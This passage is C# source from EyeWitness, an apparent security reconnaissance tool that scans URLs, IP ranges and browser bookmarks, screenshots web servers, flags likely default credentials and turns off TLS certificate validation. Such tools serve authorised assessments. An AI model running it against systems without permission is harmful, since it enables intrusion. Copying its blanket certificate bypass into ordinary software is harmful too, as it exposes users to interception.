309 | } 310 | reportHtml += cronkite.Reporter(witnessedObject); 311 | urlCounter++; 312 | 313 | if (urlCounter == 25) 314 | { 315 | urlCounter = 0; 316 | pages++; 317 | reportHtml += ""; //close out the category table 318 | cronkite.FinalReporter(reportHtml, pages, allUrlArray.GetLength(0), witnessDir); 319 | reportHtml = ""; 320 | reportHtml = cronkite.InitialReporter(pages, categoryRankDict, allUrlArray.GetLength(0)); 321 | categoryCounter = 0; 322 | } 323 | } 324 | } 325 | catch (Exception ex) 326 | { 327 | Console.WriteLine("Error is - " + ex); 328 | } 329 | } 330 | } 331 | 332 | if (allUrlArray.GetLength(0) % 25 == 0) 333 | { 334 | //pass since the report was already written and finalized 335 | } 336 | 337 | else 338 | { 339 | pages++; //need to increase before final write (takes into account 0 pages from above block 340 | reportHtml += ""; //close out the category table 341 | cronkite.FinalReporter(reportHtml, pages, allUrlArray.GetLength(0), witnessDir); 342 | } 343 | } 344 | 345 | public static List FavoritesParser() 346 | { 347 | //Check for favorites files and if they exist parse and add them to the URL array 348 | List faveUrls = new List(); 349 | List faves = new List(); 350 | string[] ieFaves = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Favorites), "*.*", SearchOption.AllDirectories); 351 | string chromePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Bookmarks"; 352 | 353 | try 354 | { 355 | faves.AddRange(ieFaves); 356 | } 357 | 358 | catch 359 | { 360 | Console.WriteLine("[-] Error adding IE favorites, moving on"); 361 | } 362 | 363 | if (faves.Count > 0) 364 | { 365 | foreach (var file in faves) 366 | { 367 | using (StreamReader rdr = new StreamReader(file)) 368 | { 369 | string line; 370 | while ((line = rdr.ReadLine()) != null) 371 | { 372 | if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase)) 373 | { 374 | if (line.Length > 4) 375 | { 376 | string url = line.Substring(4); 377 | faveUrls.Add(url); 378 | } 379 | else 380 | break; 381 | } 382 | } 383 | } 384 | } 385 | } 386 | 387 | if (File.Exists(chromePath)) 388 | { 389 | // Parse Chrome's Json bookmarks file 390 | string input = File.ReadAllText(chromePath); 391 | using (StringReader reader = new StringReader(input)) 392 | using (JsonReader jsonReader = new JsonTextReader(reader)) 393 | { 394 | JsonSerializer serializer = new JsonSerializer(); 395 | JToken o = (JToken)serializer.Deserialize(jsonReader); 396 | if (o != null) 397 | { 398 | JToken allChildrens = o["roots"]?["bookmark_bar"]?["children"]; 399 | 400 | try 401 | { 402 | if (allChildrens != null) 403 | foreach (JToken folder in allChildrens) 404 | { 405 | // This loop represents items in the bookmark bar 406 | // Have to check for null values first before adding to list 407 | if (folder["url"] != null) 408 | faveUrls.Add(folder["url"].ToString()); 409 | if (folder["children"] != null) 410 | { 411 | // This loop represents items in a folder within the bookmark par 412 | foreach (JToken item in folder["children"]) 413 | { 414 | if (item["url"] != null) 415 | faveUrls.Add(item["url"].ToString()); 416 | if (item["children"] != null) 417 | { 418 | // This loop represents a nested folder within a folder on the bookmarks bar 419 | foreach (JToken subItem in item["children"]) 420 | { 421 | if (subItem["url"] != null) 422 | faveUrls.Add(subItem["url"].ToString()); 423 | } 424 | } 425 | } 426 | } 427 | } 428 | } 429 | catch 430 | { 431 | Console.WriteLine("[-] Error parsing Google Chrome's bookmarks, moving on"); 432 | } 433 | } 434 | } 435 | } 436 | 437 | return faveUrls; 438 | } 439 | 440 | static void Main(string[] args) 441 | { 442 | Console.WriteLine("[+] Firing up EyeWitness...\n"); 443 | string[] allUrls = null; 444 | List faveUrls = null; 445 | int delay = 30000; 446 | Stopwatch watch = new Stopwatch(); 447 | watch.Start(); 448 | 449 | //Parse arguments passed 450 | Parser parser = new Parser(with => 451 | { 452 | with.CaseInsensitiveEnumValues = true; 453 | with.CaseSensitive = false; 454 | with.HelpWriter = null; 455 | }); 456 | 457 | ParserResult parserResult = parser.ParseArguments(args); 458 | parserResult.WithParsed(o => 459 | { 460 | if (o.Delay != 30) 461 | { 462 | Console.WriteLine("[+] Using a custom timeout of " + o.Delay + " seconds per URL thread"); 463 | delay = o.Delay * 1000; 464 | } 465 | 466 | else 467 | Console.WriteLine("[+] Using the default timeout of 30 seconds per URL thread"); 468 | 469 | if (o.Compress) 470 | Console.WriteLine("[+] Compressing files afterwards\n"); 471 | 472 | if(o.Favorites) 473 | { 474 | // Parse faves 475 | Console.WriteLine("[+] Searching and parsing favorites for IE/Chrome...Skipping FireFox for now"); 476 | faveUrls = FavoritesParser(); 477 | } 478 | 479 | if(o.Favorites && o.File == null) 480 | { 481 | Console.WriteLine("[+] No input file, only using parsed favorites (if any)"); 482 | try 483 | { 484 | if (faveUrls != null) allUrls = faveUrls.ToArray(); 485 | } 486 | 487 | catch(NullReferenceException) 488 | { 489 | Console.WriteLine("[-] No favorites or bookmarks found, please try specifying a URL file instead"); 490 | System.Environment.Exit(1); 491 | } 492 | } 493 | 494 | if(o.File != null) 495 | { 496 | try 497 | { 498 | if(o.Favorites) 499 | { 500 | Console.WriteLine("[+] Combining parsed favorites and input file and using that array..."); 501 | //Combine favorites array and input URLs 502 | string[] allUrlsTemp = File.ReadAllLines(o.File); 503 | if (faveUrls != null) 504 | { 505 | string[] faveUrlsArray = faveUrls.Distinct().ToArray(); 506 | allUrls = allUrlsTemp.Concat(faveUrlsArray).Distinct().ToArray(); 507 | } 508 | } 509 | 510 | else 511 | { 512 | Console.WriteLine("[+] Using input text file"); 513 | allUrls = File.ReadAllLines(o.File).Distinct().ToArray(); 514 | } 515 | } 516 | catch (FileNotFoundException) 517 | { 518 | Console.WriteLine("[-] ERROR: The file containing the URLS to scan does not exist!"); 519 | Console.WriteLine("[-] ERROR: Please make sure you've provided the correct filepath and try again."); 520 | System.Environment.Exit(1); 521 | } 522 | } 523 | 524 | if (o.IpAddresses != null) 525 | { 526 | Console.WriteLine("[+] Using IP addresses"); 527 | 528 | try 529 | { 530 | if (!IPNetwork.TryParse(o.IpAddresses, out var parsed)) 531 | { 532 | Console.WriteLine("[-] ERROR: Failed to parse IP Addresses"); 533 | return; 534 | } 535 | 536 | var ipAddress = parsed.ListIPAddress().Distinct().ToList(); 537 | var strings = new List(); 538 | ipAddress.ForEach(i => strings.Add(i.ToString())); 539 | allUrls = strings.ToArray(); 540 | } 541 | catch (Exception e) 542 | { 543 | Console.WriteLine($"[-] ERROR: {e.Message}"); 544 | return; 545 | } 546 | } 547 | 548 | Options.Instance = o; 549 | }) 550 | .WithNotParsed(errs => DisplayHelp(parserResult)); 551 | 552 | DirMaker(Options.Instance.Output); 553 | DictMaker(); 554 | Options options = Options.Instance; 555 | Console.WriteLine("\n"); 556 | // Check for favorites flag and if so add the URLs to the list 557 | 558 | // build an array containing all the web server objects 559 | WitnessedServer[] serverArray = new WitnessedServer[allUrls.Length]; 560 | 561 | //WitnessedServer.SetFeatureBrowserEmulation(); // enable HTML5 562 | 563 | List sourceTaskList = new List(); 564 | List screenshotTaskList = new List(); 565 | 566 | int arrayPosition = 0; 567 | 568 | foreach (var url in allUrls) 569 | { 570 | if(!(Uri.TryCreate(url, UriKind.Absolute, out Uri uriResult) && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))) 571 | { 572 | if (options.http) 573 | Uri.TryCreate($"http://{url}", UriKind.Absolute, out uriResult); 574 | 575 | else if (options.https) 576 | Uri.TryCreate($"https://{url}", UriKind.Absolute, out uriResult); 577 | else 578 | Uri.TryCreate($"http://{url}", UriKind.Absolute, out uriResult); 579 | } 580 | 581 | WitnessedServer singleSite = new WitnessedServer(uriResult.AbsoluteUri); 582 | serverArray[arrayPosition] = singleSite; 583 | arrayPosition++; 584 | 585 | sourceTaskList.Add(Task.Run(async () => 586 | { 587 | try 588 | { 589 | await SourceSender(singleSite); 590 | } 591 | 592 | finally 593 | { 594 | Sourcepool.Release(); 595 | } 596 | })); 597 | } 598 | Task.WaitAll(sourceTaskList.ToArray()); 599 | 600 | CategoryCounter(serverArray, categoryDict); //Get a list of how many of each category there are 601 | Writer(serverArray, allUrls); //Write the reportz 602 | 603 | foreach (WitnessedServer entry in serverArray) 604 | { 605 | // Grab screenshots separately 606 | try 607 | { 608 | screenshotTaskList.Add(ScreenshotSender(entry, delay)); 609 | } 610 | catch 611 | { 612 | Console.WriteLine("Error starting runwithouttimeout on url: " + entry.remoteSystem); 613 | } 614 | } 615 | 616 | Thread.Sleep(1000); 617 | Task.WaitAll(screenshotTaskList.ToArray()); 618 | 619 | Thread.Sleep(1000); 620 | watch.Stop(); 621 | Console.WriteLine("Execution time: " + watch.ElapsedMilliseconds/1000 + " Seconds"); 622 | 623 | if (options.Compress) 624 | { 625 | Console.WriteLine("Compressing output directory..."); 626 | try 627 | { 628 | string zipFileName = witnessDir + ".zip"; 629 | ZipFile.CreateFromDirectory(witnessDir, zipFileName, CompressionLevel.Optimal, false); 630 | Directory.Delete(witnessDir, true); 631 | } 632 | 633 | catch (Exception ex) 634 | { 635 | Console.WriteLine("[-] Error zipping file"); 636 | Console.WriteLine(ex); 637 | } 638 | } 639 | 640 | Console.WriteLine("Finished! Exiting shortly..."); 641 | //Thread.Sleep(5000); 642 | } 643 | } 644 | } 645 | -------------------------------------------------------------------------------- /CS/EyeWitness/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("EyeWitness")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("EyeWitness")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("162f9754-3644-46f1-a061-61de163bfecc")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /CS/EyeWitness/WebsiteSnapshot.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Drawing; 3 | using System.Threading; 4 | using System.Windows.Forms; 5 | 6 | namespace EyeWitness 7 | { 8 | /// 9 | /// Borrowed and edited from the genius people at https://github.com/AppReadyGo/EyeTracker 10 | /// They don't have a license so just be aware of that 11 | /// 12 | 13 | public class WebsiteSnapshot 14 | { 15 | private string Url { get; set; } 16 | private int? BrowserWidth { get; set; } 17 | private int? BrowserHeight { get; set; } 18 | private Bitmap Bitmap { get; set; } 19 | 20 | public WebsiteSnapshot(string url, int? browserWidth = null, int? browserHeight = null) 21 | { 22 | Rectangle bounds = Screen.PrimaryScreen.Bounds; 23 | this.Url = url; 24 | 25 | if (browserHeight == null && browserWidth == null) 26 | { 27 | this.BrowserHeight = bounds.Height; 28 | this.BrowserWidth = bounds.Width; 29 | } 30 | else 31 | { 32 | this.BrowserWidth = browserWidth; 33 | this.BrowserHeight = browserHeight; 34 | } 35 | } 36 | 37 | public Bitmap GenerateWebSiteImage(int timeout = 30000) 38 | { 39 | Thread thread = null; 40 | try 41 | { 42 | thread = new Thread(_GenerateWebSiteImage); 43 | thread.SetApartmentState(ApartmentState.STA); 44 | 45 | thread.Start(); 46 | thread.Join(timeout); 47 | } 48 | catch (AccessViolationException) 49 | { 50 | Console.WriteLine("[-] Issue with thread, aborting..."); 51 | thread?.Abort(); 52 | } 53 | 54 | 55 | return Bitmap; 56 | } 57 | 58 | private void _GenerateWebSiteImage() 59 | { 60 | CancellationToken ct = new CancellationToken(); 61 | using (WebBrowser webBrowser = new WebBrowser { ScrollBarsEnabled = false, Visible = false }) 62 | { 63 | webBrowser.Hide(); 64 | webBrowser.ScriptErrorsSuppressed = true; 65 | webBrowser.ScrollBarsEnabled = false; 66 | try 67 | { 68 | //webBrowser.Navigate(Url, "_self"); 69 | //webBrowser.DocumentCompleted += WebBrowserDocumentCompleted; 70 | //Thread.Sleep(1000); 71 | //while (webBrowser.ReadyState != WebBrowserReadyState.Complete) 72 | //{ 73 | // try 74 | // { 75 | // Application.DoEvents(); 76 | // ct.ThrowIfCancellationRequested(); 77 | // } 78 | // catch (Exception e) 79 | // { 80 | // Console.WriteLine(e); 81 | // throw; 82 | // } 83 | //} 84 | 85 | 86 | 87 | 88 | // Add an event handler that prints the document after it loads. 89 | //webBrowser.DocumentCompleted += SaveBitmap; 90 | webBrowser.Navigate(Url, "_self"); 91 | Thread.Sleep(1000); 92 | webBrowser.DocumentCompleted += WebBrowserDocumentCompleted; 93 | 94 | while (webBrowser.ReadyState != WebBrowserReadyState.Complete) 95 | //while (true) 96 | { 97 | try 98 | { 99 | Application.DoEvents(); 100 | ct.ThrowIfCancellationRequested(); 101 | } 102 | catch (Exception e) 103 | { 104 | Console.WriteLine(e); 105 | throw; 106 | } 107 | } 108 | } 109 | 110 | catch 111 | { 112 | //just pass 113 | } 114 | 115 | finally 116 | { 117 | if (!webBrowser.IsDisposed) 118 | webBrowser.Dispose(); 119 | } 120 | } 121 | } 122 | 123 | private void SaveBitmap(object sender, WebBrowserDocumentCompletedEventArgs e) 124 | { 125 | if (sender is WebBrowser webBrowser) 126 | { 127 | Bitmap = new Bitmap(webBrowser.Bounds.Width, webBrowser.Bounds.Height); 128 | //webBrowser.BringToFront(); 129 | webBrowser?.DrawToBitmap(Bitmap, webBrowser.Bounds); 130 | } 131 | } 132 | 133 | private void WebBrowserDocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e) 134 | { 135 | WebBrowser webBrowser = sender as WebBrowser; 136 | if (!BrowserWidth.HasValue) 137 | { 138 | if (webBrowser != null && webBrowser.Document?.Body != null) 139 | BrowserWidth = webBrowser.Document.Body.ScrollRectangle.Width + webBrowser.Margin.Horizontal; 140 | } 141 | 142 | if (!BrowserHeight.HasValue) 143 | { 144 | if (webBrowser != null && webBrowser.Document?.Body != null) 145 | BrowserHeight = webBrowser.Document.Body.ScrollRectangle.Height + webBrowser.Margin.Vertical; 146 | } 147 | 148 | if (BrowserWidth != null) 149 | if (BrowserHeight != null) 150 | if (webBrowser != null) 151 | webBrowser.ClientSize = new Size(BrowserWidth.Value, BrowserHeight.Value); 152 | 153 | if (webBrowser != null) 154 | { 155 | Bitmap = new Bitmap(webBrowser.Bounds.Width, webBrowser.Bounds.Height); 156 | //webBrowser.BringToFront(); 157 | webBrowser?.DrawToBitmap(Bitmap, webBrowser.Bounds); 158 | } 159 | 160 | webBrowser?.Dispose(); 161 | } 162 | } 163 | } -------------------------------------------------------------------------------- /CS/EyeWitness/WitnessedServer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Threading; 5 | using System.Windows.Forms; 6 | using System.Text.RegularExpressions; 7 | using System.Collections.Generic; 8 | using System.Security; 9 | using System.Threading.Tasks; 10 | using Microsoft.Win32; 11 | 12 | namespace EyeWitness 13 | { 14 | public class WitnessedServer 15 | { 16 | private static string _sourceCode = ""; 17 | public string headers = ""; 18 | public string sourcePath = ""; 19 | public string headerPath = ""; 20 | public string imgPath = ""; 21 | public string imgPathInternal = ""; 22 | public string urlSaveName = ""; 23 | static string errorState = ""; 24 | public string remoteSystem; 25 | public string webpageTitle = ""; 26 | public string defaultCreds; 27 | public string systemCategory = "uncat"; 28 | 29 | public void CheckCreds(Dictionary catDict, Dictionary sigDict) 30 | { 31 | // Check for the existence of a signature line within the source code 32 | foreach (KeyValuePair entry in sigDict) 33 | { 34 | bool credGood = true; 35 | if (entry.Key.Contains(";")) 36 | { 37 | string[] elementArray = entry.Key.Split(';'); 38 | foreach (string singleElement in elementArray) 39 | { 40 | if (!_sourceCode.Contains(singleElement)) 41 | credGood = false; 42 | } 43 | 44 | if (credGood) 45 | defaultCreds += "

Potential Default Creds: " + 46 | SecurityElement.Escape(sigDict[entry.Key]); 47 | } 48 | // If the line in signatures.txt only has one check (no simicolons) 49 | else 50 | { 51 | if (_sourceCode.Contains(entry.Key)) 52 | defaultCreds += "

Potential Default Creds: " + 53 | SecurityElement.Escape(sigDict[entry.Key]); 54 | } 55 | } 56 | 57 | foreach (KeyValuePair entry in catDict) 58 | { 59 | bool catGood = true; 60 | if (entry.Key.Contains(";")) 61 | { 62 | string[] elementArray = entry.Key.Split(';'); 63 | foreach (string singleElement in elementArray) 64 | { 65 | if (!_sourceCode.Contains(singleElement)) 66 | catGood = false; 67 | } 68 | 69 | if (catGood) 70 | systemCategory = catDict[entry.Key]; 71 | } 72 | 73 | // If the line in signatures.txt only has one check (no simicolons) 74 | else 75 | { 76 | if (_sourceCode.Contains(entry.Key)) 77 | systemCategory = catDict[entry.Key]; 78 | } 79 | } 80 | } 81 | 82 | private void SavePath() 83 | { 84 | //Save the URL as a variable 85 | string nameUrl = remoteSystem.Replace("/", "."); 86 | nameUrl = nameUrl.Replace(":", "."); 87 | nameUrl = nameUrl.Replace("?", "."); 88 | nameUrl = nameUrl.Replace("&", "."); 89 | urlSaveName = nameUrl.EndsWith("/") ? nameUrl.Remove(nameUrl.Length - 1, 1) : nameUrl; 90 | 91 | // Define the paths where everything will be saved 92 | sourcePath = Program.witnessDir + "\\src\\" + urlSaveName + ".txt"; 93 | imgPath = Program.witnessDir + "\\images\\" + urlSaveName + ".bmp"; 94 | imgPathInternal = imgPath; 95 | headerPath = Program.witnessDir + "\\headers\\" + urlSaveName + ".txt"; 96 | } 97 | 98 | public async Task SourcerAsync(CancellationToken cancellationToken) 99 | { 100 | 101 | // Capture source code and headers 102 | ServicePointManager.Expect100Continue = true; 103 | // fix for allowing tls12 104 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; 105 | await Task.Run(async () => 106 | { 107 | using (WebClient witnessClient = new WebClient()) 108 | { 109 | try 110 | { 111 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 112 | // Uri test = Uri.Parse(remoteSystem); 113 | 114 | cancellationToken.Register(witnessClient.CancelAsync); 115 | _sourceCode = await witnessClient.DownloadStringTaskAsync(remoteSystem); 116 | cancellationToken.ThrowIfCancellationRequested(); 117 | headers = witnessClient.ResponseHeaders.ToString(); 118 | 119 | webpageTitle = Regex.Match(_sourceCode, @"\]*\>\s*(?[\s\S]*?)\</title\>", 120 | RegexOptions.IgnoreCase).Groups["Title"].Value; 121 | File.WriteAllText(Program.witnessDir + "\\src\\" + urlSaveName + ".txt", _sourceCode); 122 | File.WriteAllText(Program.witnessDir + "\\headers\\" + urlSaveName + ".txt", headers); 123 | } 124 | 125 | catch (Exception e) 126 | { 127 | //Console.WriteLine(e); 128 | Console.WriteLine($"[*] Offline Server - {remoteSystem} - {e.Message}"); 129 | errorState = "offline"; 130 | systemCategory = "offline"; 131 | webpageTitle = "Server Offline"; 132 | headers = "Server Offline"; 133 | } 134 | finally 135 | { 136 | witnessClient.Dispose(); 137 | } 138 | } 139 | }, cancellationToken); 140 | return "finished"; 141 | } 142 | 143 | public WitnessedServer(string systemTargeted) 144 | { 145 | remoteSystem = systemTargeted; 146 | SavePath(); 147 | } 148 | 149 | //We're not using this now but keep it in just in case we need it for the future 150 | public static void SetFeatureBrowserEmulation() 151 | { 152 | try 153 | { 154 | using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey( 155 | @"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION", 156 | true)) 157 | { 158 | var app = Path.GetFileName(Application.ExecutablePath); 159 | key.SetValue(app, 11001, RegistryValueKind.DWord); 160 | key.Close(); 161 | } 162 | } 163 | 164 | catch 165 | { 166 | Console.WriteLine("Error in setting reg value to use latest IE"); 167 | } 168 | } 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /CS/EyeWitness/app.config: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="utf-8"?> 2 | <configuration> 3 | <startup> 4 | <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" /> 5 | </startup> 6 | <runtime> 7 | <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> 8 | <dependentAssembly> 9 | <assemblyIdentity name="System.Buffers" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" /> 10 | <bindingRedirect oldVersion="0.0.0.0-4.0.3.0" newVersion="4.0.3.0" /> 11 | </dependentAssembly> 12 | </assemblyBinding> 13 | </runtime> 14 | </configuration> -------------------------------------------------------------------------------- /CS/EyeWitness/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // <autogenerated /> 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /CS/EyeWitness/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/EyeWitness/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /CS/EyeWitness/obj/Debug/EyeWitness.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/EyeWitness/obj/Debug/EyeWitness.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /CS/EyeWitness/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // <autogenerated /> 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /CS/EyeWitness/obj/x64/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // <autogenerated /> 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /CS/EyeWitness/obj/x64/Release/EyeWitness.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/EyeWitness/obj/x64/Release/EyeWitness.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /CS/EyeWitness/obj/x64/Release/EyeWitness.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | d00ba4b49b18fbbb33c5a97abea92eaca6376253 2 | -------------------------------------------------------------------------------- /CS/EyeWitness/obj/x64/Release/EyeWitness.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | \\tsclient\Files\Coding\EyeWitness\CS\EyeWitness\obj\x64\Release\EyeWitness.csproj.AssemblyReference.cache 2 | \\tsclient\Files\Coding\EyeWitness\CS\EyeWitness\obj\x64\Release\EyeWitness.csproj.CoreCompileInputs.cache 3 | -------------------------------------------------------------------------------- /CS/EyeWitness/packages.config: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="utf-8"?> 2 | <packages> 3 | <package id="CommandLineParser" version="2.7.82" targetFramework="net45" /> 4 | <package id="Costura.Fody" version="4.1.0" targetFramework="net45" /> 5 | <package id="Fody" version="6.1.1" targetFramework="net45" developmentDependency="true" /> 6 | <package id="IPNetwork2" version="2.6.427" targetFramework="net45" /> 7 | <package id="Newtonsoft.Json" version="12.0.3" targetFramework="net45" /> 8 | <package id="System.Buffers" version="4.5.1" targetFramework="net45" /> 9 | <package id="System.Memory" version="4.5.5" targetFramework="net45" /> 10 | <package id="System.Runtime.CompilerServices.Unsafe" version="4.5.3" targetFramework="net45" /> 11 | </packages> -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/CommandLineParser.2.7.82/.signature.p7s -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/CommandLine20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/CommandLineParser.2.7.82/CommandLine20.png -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/CommandLineParser.2.7.82.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/CommandLineParser.2.7.82/CommandLineParser.2.7.82.nupkg -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/License.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2005 - 2015 Giacomo Stelluti Scala & Contributors 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /CS/packages/CommandLineParser.2.7.82/README.md: -------------------------------------------------------------------------------- 1 | [![Build status](https://ci.appveyor.com/api/projects/status/p61dj8udxs2aocmo/branch/master?svg=true)](https://ci.appveyor.com/project/commandlineparser/commandline/branch/master) 2 | [![NuGet](https://img.shields.io/nuget/dt/commandlineparser.svg)](http://nuget.org/packages/commandlineparser) 3 | [![NuGet](https://img.shields.io/nuget/v/commandlineparser.svg)](https://www.nuget.org/packages/CommandLineParser/) 4 | [![NuGet](https://img.shields.io/nuget/vpre/commandlineparser.svg)](https://www.nuget.org/packages/CommandLineParser/) 5 | [![Join the Gitter chat!](https://badges.gitter.im/gsscoder/commandline.svg)](https://gitter.im/gsscoder/commandline?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) 6 | 7 | # Command Line Parser Library for CLR and NetStandard 8 | 9 | **Note:** the API surface has changed since v1.9.x and earlier. If you are looking for documentation on v1.9.x, please see [stable-1.9.71.2](https://github.com/gsscoder/commandline/tree/stable-1.9.71.2) 10 | 11 | The Command Line Parser Library offers CLR applications a clean and concise API for manipulating command line arguments and related tasks, such as defining switches, options and verb commands. It allows you to display a help screen with a high degree of customization and a simple way to report syntax errors to the end user. 12 | 13 | ``` 14 | C:\Project> NuGet Install CommandLineParser 15 | ``` 16 | 17 | _NOTE: Mentioned F# Support is provided via ```CommandLineParser.FSharp``` package with FSharp dependencies._ 18 | 19 | __This library provides _hassle free_ command line parsing with a constantly updated API since 2005.__ 20 | 21 | # At a glance: 22 | 23 | - Compatible with __.NET Framework 4.0+__, __Mono 2.1+ Profile__, __.NET Standard__ and __.NET Core__ 24 | - Doesn't depend on other packages (No dependencies beyond standard base libraries) 25 | - One line parsing using default singleton: `CommandLine.Parser.Default.ParseArguments(...)`. 26 | - Automatic or one line help screen generator: `HelpText.AutoBuild(...)`. 27 | - Supports `--help`, `--version`, `version` and `help [verb]` by default with customization. 28 | - Map to sequences (via `IEnumerable<T>` and similar) and scalar types, including Enums and `Nullable<T>`. 29 | - You can also map to every type with a constructor that accepts a string (like `System.Uri`). 30 | - Define [verb commands](https://github.com/commandlineparser/commandline/wiki/Verbs) similar to `git commit -a`. 31 | - Support HelpText localization. 32 | - Support ordering of options in HelpText. 33 | - Support [Mutually Exclusive Options](https://github.com/commandlineparser/commandline/wiki/Mutually-Exclusive-Options) and Options groups. 34 | - Support named and value options. 35 | - Support Asynchronous programming with async and await. 36 | - Unparsing support: `CommandLine.Parser.Default.FormatCommandLine<T>(T options)`. 37 | - CommandLineParser.FSharp package is F#-friendly with support for `option<'a>`, see [demo](https://github.com/commandlineparser/commandline/blob/master/demo/fsharp-demo.fsx). _NOTE: This is a separate NuGet package._ 38 | - Most of features applies with a [CoC](http://en.wikipedia.org/wiki/Convention_over_configuration) philosophy. 39 | - C# demo: source [here](https://github.com/commandlineparser/commandline/tree/master/demo/ReadText.Demo). 40 | 41 | # Getting Started with the Command Line Parser Library 42 | 43 | You can 